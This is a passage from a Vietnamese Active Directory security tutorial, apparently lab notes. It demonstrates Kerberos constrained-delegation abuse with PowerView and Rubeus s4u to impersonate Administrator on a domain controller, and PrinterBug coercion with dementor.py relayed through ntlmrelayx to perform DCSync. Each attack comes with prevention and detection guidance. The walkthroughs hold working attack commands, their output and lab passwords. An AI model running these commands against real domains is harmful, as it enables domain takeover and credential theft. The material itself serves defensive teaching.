sử dụng delegation nếu không thực sự cần thiết. Đúng như tên gọi, `Unconstrained Delegation` (ủy quyền không giới hạn) là loại cho phép rộng nhất, cho phép một tài khoản được ủy quyền tới bất kỳ dịch vụ nào. Với `Constrained Delegation` (ủy quyền có giới hạn), tài khoản người dùng sẽ được cấu hình với các thuộc tính để chỉ định rõ dịch vụ nào mà nó được phép ủy quyền tới. Đối với `Resource-based Delegation` (ủy quyền dựa trên tài nguyên), cấu hình lại nằm trên đối tượng máy tính được nhận ủy quyền. Trong trường hợp này, máy tính sẽ được cấu hình theo kiểu: "Tôi chỉ tin tưởng tài khoản này (hoặc những tài khoản này) được phép ủy quyền tới tôi." Thông thường, rất hiếm khi quản trị viên cấu hình `Resource-based Delegation` trong môi trường sản xuất, tuy nhiên kẻ tấn công thường lợi dụng hình thức này để xâm nhập vào thiết bị. Ngược lại, `Unconstrained` và `Constrained Delegation` lại rất phổ biến trong môi trường sản xuất thực tế. ## Attack Chúng ta sẽ chỉ trình bày cách khai thác (abuse) `Constrained Delegation` (ủy quyền có giới hạn); khi một tài khoản được cấu hình là được phép ủy quyền, tài khoản đó sẽ gửi yêu cầu đến KDC với nội dung: "Hãy cấp cho tôi một vé Kerberos (Kerberos ticket) cho người dùng YYYY vì tôi được tin tưởng để ủy quyền người này tới dịch vụ ZZZZ", và một vé Kerberos sẽ được tạo ra cho người dùng YYYY mà không cần cung cấp mật khẩu của người dùng YYYY. Ngoài ra, vẫn có thể thực hiện ủy quyền tới dịch vụ khác, dù không được cấu hình rõ trong thuộc tính của người dùng. Ví dụ: nếu tài khoản được phép ủy quyền cho dịch vụ `LDAP`, ta vẫn có thể thực hiện `protocol transition` (chuyển đổi giao thức) và được ủy quyền tới các dịch vụ khác như `CIFS` (chia sẻ file) hoặc `HTTP`. Để mô phỏng cuộc tấn công, chúng ta giả định rằng tài khoản người dùng web_service đã được cấu hình là được phép ủy quyền (trusted for delegation) và đã bị chiếm quyền điều khiển. Mật khẩu của tài khoản này là Slavi123. Đầu tiên, chúng ta sẽ sử dụng hàm `Get-NetUser` từ công cụ [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) để liệt kê các tài khoản người dùng trong domain được cấu hình ủy quyền có giới hạn (constrained delegation): <!-- > Lưu ý: Trong suốt quá trình thực hành, vui lòng sử dụng file PowerView-main.ps1 nằm tại đường dẫn: C:\Users\bob\Downloads khi thực hiện các thao tác liệt kê với tham số -TrustedToAuth. --> ``` PS C:\Users\bob\Downloads> Get-NetUser -TrustedToAuth logoncount : 23 badpasswordtime : 12/31/1601 4:00:00 PM distinguishedname : CN=web service,CN=Users,DC=eagle,DC=local objectclass : {top, person, organizationalPerson, user} displayname : web service lastlogontimestamp : 10/13/2022 2:12:22 PM userprincipalname : webservice@eagle.local name : web service objectsid : S-1-5-21-1518138621-4282902758-752445584-2110 samaccountname : webservice codepage : 0 samaccounttype : USER_OBJECT accountexpires : NEVER countrycode : 0 whenchanged : 10/13/2022 9:53:09 PM instancetype : 4 usncreated : 135866 objectguid : b89f0cea-4c1a-4e92-ac42-f70b5ec432ff lastlogoff : 1/1/1600 12:00:00 AM msds-allowedtodelegateto : {http/DC1.eagle.local/eagle.local, http/DC1.eagle.local, http/DC1, http/DC1.eagle.local/EAGLE...} objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=eagle,DC=local dscorepropagationdata : 1/1/1601 12:00:00 AM serviceprincipalname : {cvs/dc1.eagle.local, cvs/dc1} givenname : web service lastlogon : 10/14/2022 2:31:39 PM badpwdcount : 0 cn : web service useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION whencreated : 10/13/2022 8:32:35 PM primarygroupid : 513 pwdlastset : 10/13/2022 10:36:04 PM msds-supportedencryptiontypes : 0 usnchanged : 143463 ``` ![image](https://hackmd.io/_uploads/HJiamRPrxe.png) Chúng ta có thể thấy rằng tài khoản `web_service` được cấu hình để ủy quyền dịch vụ `HTTP` tới `Domain Controller` tên là `DC1`. Dịch vụ `HTTP` cho phép thực hiện `PowerShell Remoting` (chạy lệnh từ xa bằng PowerShell). Do đó, bất kỳ kẻ tấn công nào chiếm được tài khoản `web_service` đều có thể yêu cầu `vé Kerberos` (Kerberos ticket) cho bất kỳ người dùng nào trong `Active Directory`, và sử dụng vé đó để kết nối đến `DC1` thông qua `PowerShell Remoting`. Trước khi chúng ta yêu cầu vé Kerberos bằng `Rubeus` (vì Rubeus yêu cầu giá trị hash NTLM thay vì mật khẩu rõ dạng text cho tham số /rc4), chúng ta cần sử dụng Rubeus để chuyển mật khẩu dạng rõ Slavi123 thành hash NTLM tương ứng. ``` PS C:\Users\bob\Downloads> .\Rubeus.exe hash /password:Slavi123 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.1 [*] Action: Calculate Password Hash(es) [*] Input password : Slavi123 [*] rc4_hmac : FCDC65703DD2B0BD789977F1F3EEAECF [!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types! ``` ![image](https://hackmd.io/_uploads/Hk12NRwSex.png) Sau đó, chúng ta sẽ sử dụng `Rubeus` để yêu cầu một vé (ticket) cho tài khoản `Administrator`: ``` PS C:\Users\bob\Downloads> .\Rubeus.exe s4u /user:webservice /rc4:FCDC65703DD2B0BD789977F1F3EEAECF /domain:eagle.local /impersonateuser:Administrator /msdsspn:"http/dc1" /dc:dc1.eagle.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.1 [*] Action: S4U [*] Using rc4_hmac hash: FCDC65703DD2B0BD789977F1F3EEAECF [*] Building AS-REQ (w/ preauth) for: 'eagle.local\webservice' [+] TGT request successful! [*] base64(ticket.kirbi): doIFiDCCBYSgAwIBBaEDAgEWooIEnjCCBJphggSWMIIEkqADAgEFoQ0bC0VBR0xFLkxPQ0FMoiAwHqAD AgECoRcwFRsGa3JidGd0GwtlYWdsZS5sb2NhbKOCBFgwggRUoAMCARKhAwIBAqKCBEYEggRCI1ghAg72 moqMS1skuua6aCpknKibZJ6VEsXfyTZgO5IKRDnYHnTJT6hwywSoXpcxbFDDlakB56re10E6f6H9u5Aq ... ... ... [+] Ticket successfully imported! ``` ![image](https://hackmd.io/_uploads/B1N1HRDHee.png) Để xác nhận rằng Rubeus đã inject vé (ticket) vào phiên hiện tại, chúng ta có thể sử dụng lệnh klist: ``` PS C:\Users\bob\Downloads> klist Current LogonId is 0:0x88721 Cached Tickets: (1) #0> Client: Administrator @ EAGLE.LOCAL Server: http/dc1 @ EAGLE.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 10/13/2022 14:56:07 (local) End Time: 10/14/2022 0:56:07 (local) Renew Time: 10/20/2022 14:56:07 (local) Session Key Type: AES-128-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: ``` ![image](https://hackmd.io/_uploads/By6ZrCDSlg.png) Khi vé (ticket) đã sẵn sàng, chúng ta có thể kết nối đến `Domain Controller` với quyền giả mạo tài khoản `Administrator`: ``` PS C:\Users\bob\Downloads> Enter-PSSession dc1 [dc1]: PS C:\Users\Administrator\Documents> hostname DC1 [dc1]: PS C:\Users\Administrator\Documents> whoami eagle\administrator [dc1]: PS C:\Users\Administrator\Documents> ``` ![image](https://hackmd.io/_uploads/SyOBSCPrel.png) Nếu bước cuối cùng không thành công (chúng ta có thể cần thực hiện klist purge, lấy ticket mới và thử lại bằng cách khởi động lại máy). Chúng ta cũng có thể yêu cầu ticket cho nhiều dịch vụ với đối số /altservice, chẳng hạn như LDAP, CFIS, time và host. ## Prevention May mắn thay, khi thiết kế `Kerberos Delegation`, Microsoft đã triển khai một số cơ chế bảo vệ; tuy nhiên, chúng không được bật mặc định cho bất kỳ tài khoản người dùng nào. Có hai cách trực tiếp để ngăn việc cấp vé (ticket) Kerberos cho một người dùng thông qua `delegation`: * Cấu hình thuộc tính `Account is sensitive and cannot be delegated` (Tài khoản nhạy cảm và không thể bị ủy quyền) cho tất cả người dùng có đặc quyền. * Thêm người dùng có đặc quyền vào nhóm `Protected Users`: việc là thành viên của nhóm này sẽ tự động áp dụng bảo vệ như trên. > Tuy nhiên, không nên sử dụng nhóm Protected Users nếu chưa hiểu rõ các tác động có thể xảy ra, vì nó có thể gây ảnh hưởng đến hoạt động bình thường. Chúng ta nên xem bất kỳ tài khoản nào được cấu hình để delegation là tài khoản có đặc quyền cao, bất kể quyền thực sự của nó là gì (ngay cả khi chỉ là Domain User thông thường). ## Detection Phân tích hành vi người dùng là kỹ thuật hiệu quả nhất để phát hiện lạm dụng Constrained Delegation. Giả sử chúng ta biết rõ vị trí và thời điểm mà một người dùng thường xuyên đăng nhập, khi đó sẽ dễ dàng phát hiện các hành vi bất thường, ví dụ: Trong ví dụ tấn công ở trên, nếu tài khoản 'Administrator' bất ngờ đăng nhập từ một máy khác thường ngày, đó là một dấu hiệu nghi ngờ. Nếu một tổ chức triển khai mô hình `PAW` (Privileged Access Workstations) một cách bài bản, họ nên cảnh báo ngay khi phát hiện người dùng đặc quyền đăng nhập không phải từ các máy `PAW`, đồng thời giám sát các sự kiện có mã `ID 4624` (đăng nhập thành công). Trong một số trường hợp, một lượt đăng nhập thành công bằng vé được ủy quyền (delegated ticket) sẽ chứa thông tin về người phát hành vé trong thuộc tính `Transited Services` của nhật ký sự kiện. Thuộc tính này thường được ghi nếu lượt đăng nhập đó là kết quả của quá trình S4U (Service For User). S4U là một phần mở rộng của Microsoft đối với giao thức Kerberos, cho phép một dịch vụ ứng dụng lấy vé dịch vụ Kerberos thay mặt người dùng. Như đã thấy trong quá trình tấn công bằng Rubeus ở trên, chúng ta đã sử dụng mở rộng S4U này. Dưới đây là ví dụ một sự kiện đăng nhập cho thấy tài khoản dịch vụ web_service đã tạo một vé cho tài khoản Administrator, sau đó sử dụng vé đó để kết nối đến Domain Controller – đúng như chuỗi tấn công đã mô tả ở trên: ![image](https://hackmd.io/_uploads/HkgiLRvHlx.png) # 10. Print Spooler & NTLM Relaying ## Description [Print Spooler](https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler) là một dịch vụ cũ được bật theo mặc định, ngay cả trên các phiên bản mới nhất của `Windows Desktop` và `Windows Server`. Dịch vụ này đã trở thành một vector tấn công phổ biến kể từ năm 2018, khi `Lee Christensen` phát hiện ra lỗ hổng `PrinterBug`. Hai hàm [RpcRemoteFindFirstPrinterChangeNotification](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b8b414d9-f1cd-4191-bb6b-87d09ab2fd83) và [RpcRemoteFindFirstPrinterChangeNotificationEx](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d) có thể bị lợi dụng để ép một máy từ xa thực hiện kết nối đến bất kỳ máy nào mà nó có thể truy cập. Hơn nữa, kết nối ngược lại này sẽ mang theo thông tin xác thực dưới dạng `TGT` (Ticket Granting Ticket). Do đó, bất kỳ người dùng nào trong domain cũng có thể ép buộc `RemoteServer$` xác thực với bất kỳ máy nào khác. Quan điểm của Microsoft về `PrinterBug` là họ sẽ không sửa lỗi này, vì vấn đề được xem là "thiết kế cố ý" (by-design). Tác động của `PrinterBug` là bất kỳ `Domain Controller` nào đang bật dịch vụ `Print Spooler` đều có thể bị xâm phạm theo một trong các cách sau: 1. Relay (chuyển tiếp) kết nối đến một Domain Controller khác và thực hiện DCSync (nếu `SMB Signing` bị tắt). 2. Ép Domain Controller kết nối đến một máy được cấu hình với `Unconstrained Delegation` (UD) – điều này sẽ khiến vé TGT được lưu trong bộ nhớ của máy UD, và attacker có thể trích xuất TGT bằng các công cụ như `Rubeus` hoặc `Mimikatz`. 3. Chuyển tiếp kết nối đến dịch vụ `Active Directory Certificate Services` (AD CS) để lấy chứng chỉ cho Domain Controller. Kẻ tấn công sau đó có thể sử dụng chứng chỉ này bất cứ lúc nào để xác thực và giả mạo Domain Controller (ví dụ: thực hiện DCSync). 4. Chuyển tiếp kết nối để cấu hình `Resource-Based Kerberos Delegation` (RBCD) cho máy được relay. Sau đó, attacker có thể lợi dụng RBCD để xác thực như một quản trị viên bất kỳ trên máy đó. ## Attack Trong chuỗi tấn công này, chúng ta sẽ chuyển tiếp kết nối đến một Domain Controller khác và thực hiện `DCSync`. Để cuộc tấn công thành công, SMB Signing trên các Domain Controller phải bị tắt. Đầu tiên, chúng ta sẽ cấu hình `NTLMRelayx` để chuyển tiếp mọi kết nối đến DC2 và cố gắng thực hiện cuộc tấn công DCSync. ![image](https://hackmd.io/_uploads/r1Hr9UFSll.png) * `impacket-ntlmrelayx`: chạy công cụ relay của Impacket. * `-t dcsync://172.16.18.4`: chỉ định target là Domain Controller có IP 172.16.18.4, và thực hiện tấn công DCSync. * `dcsync://` là một module đặc biệt trong ntlmrelayx cho phép thực hiện DCSync khi có relay thành công. * `--smb2support`: bật hỗ trợ SMBv2, giúp công cụ tương thích tốt hơn với Windows hiện đại (nhiều hệ thống chỉ hỗ trợ SMBv2 trở lên). Tiếp theo, chúng ta cần kích hoạt lỗi `PrinterBug` bằng cách sử dụng máy Kali đang chạy `NTLMRelayx` để lắng nghe. Để kích hoạt kết nối ngược trở lại, chúng ta sẽ sử dụng công cụ [Dementor](https://github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py) (khi chạy từ một máy không thuộc domain, ta cần cung cấp thông tin xác thực của bất kỳ người dùng nào đã được xác thực, và trong trường hợp này, chúng ta giả định đã chiếm được tài khoản của Bob từ trước). ``` python3 ./dementor.py 172.16.18.20 172.16.18.3 -u bob -d eagle.local -p Slavi123 [*] connecting to 172.16.18.3 [*] bound to spoolss [*] getting context handle... [*] sending RFFPCNEX... [-] exception RPRN SessionError: code: 0x6ab - RPC_S_INVALID_NET_ADDR - The network address is invalid. [*] done! ``` ![image](https://hackmd.io/_uploads/BkMrjUYBex.png) * `172.16.18.20`: Target (nạn nhân) – máy sẽ bị ép gửi NTLM (thường là Domain Controller). * `172.16.18.3`: Máy relay (attacker) – máy đang chạy ntlmrelayx, sẽ nhận NTLM từ nạn nhân. * `-u bob`: Username đã có từ trước (giả định là đã chiếm được). * `-d eagle.local`: Tên domain nội bộ. * `-p Slavi123`: Mật khẩu của user bob. Bây giờ, quay lại phiên terminal đang chạy NTLMRelayx, chúng ta sẽ thấy rằng cuộc tấn công DCSync đã thành công: ![image](https://hackmd.io/_uploads/Sk2voLtrxl.png) ## Prevention Dịch vụ Print Spooler nên được vô hiệu hóa trên tất cả các máy chủ không dùng để in ấn. Domain Controller và các máy chủ lõi khác tuyệt đối không nên cài thêm các vai trò hoặc chức năng phụ, vì điều này sẽ mở rộng bề mặt tấn công vào hạ tầng Active Directory. Ngoài ra, có một tùy chọn giúp ngăn chặn việc lạm dụng `PrinterBug` mà vẫn giữ dịch vụ Print Spooler hoạt động: bằng cách vô hiệu hóa khóa registry `RegisterSpoolerRemoteRpcEndPoint`, tất cả các yêu cầu từ xa đến dịch vụ sẽ bị chặn — điều này hoạt động như thể dịch vụ đã bị vô hiệu hóa đối với các máy khách từ xa. Đặt giá trị của khóa registry này là 1 để bật, trong khi 2 sẽ tắt chức năng nhận yêu cầu từ xa: ![image](https://hackmd.io/_uploads/r1lAjLFBxl.png) ## Detection Việc khai thác lỗi `PrinterBug` sẽ để lại dấu vết kết nối mạng đến Domain Controller; tuy nhiên, các dấu vết này quá chung chung để có thể sử dụng làm cơ chế phát hiện hiệu quả. Trong trường hợp sử dụng `NTLMRelayx` để thực hiện DCSync, không có sự kiện với `Event ID 4662` được tạo ra (như đã đề cập trong phần DCSync); tuy nhiên, để lấy được các hash của DC1 từ DC2, sẽ có một sự kiện đăng nhập thành công cho DC1. Sự kiện này xuất phát từ địa chỉ IP của máy Kali, không phải từ Domain Controller, như chúng ta có thể thấy bên dưới: ![image](https://hackmd.io/_uploads/HkqN3UFreg.png) Một cơ chế phát hiện phù hợp luôn luôn liên kết tất cả các lần đăng nhập từ các máy chủ hạ tầng cốt lõi với địa chỉ IP tương ứng của chúng (các địa chỉ này nên là tĩnh và đã được biết trước.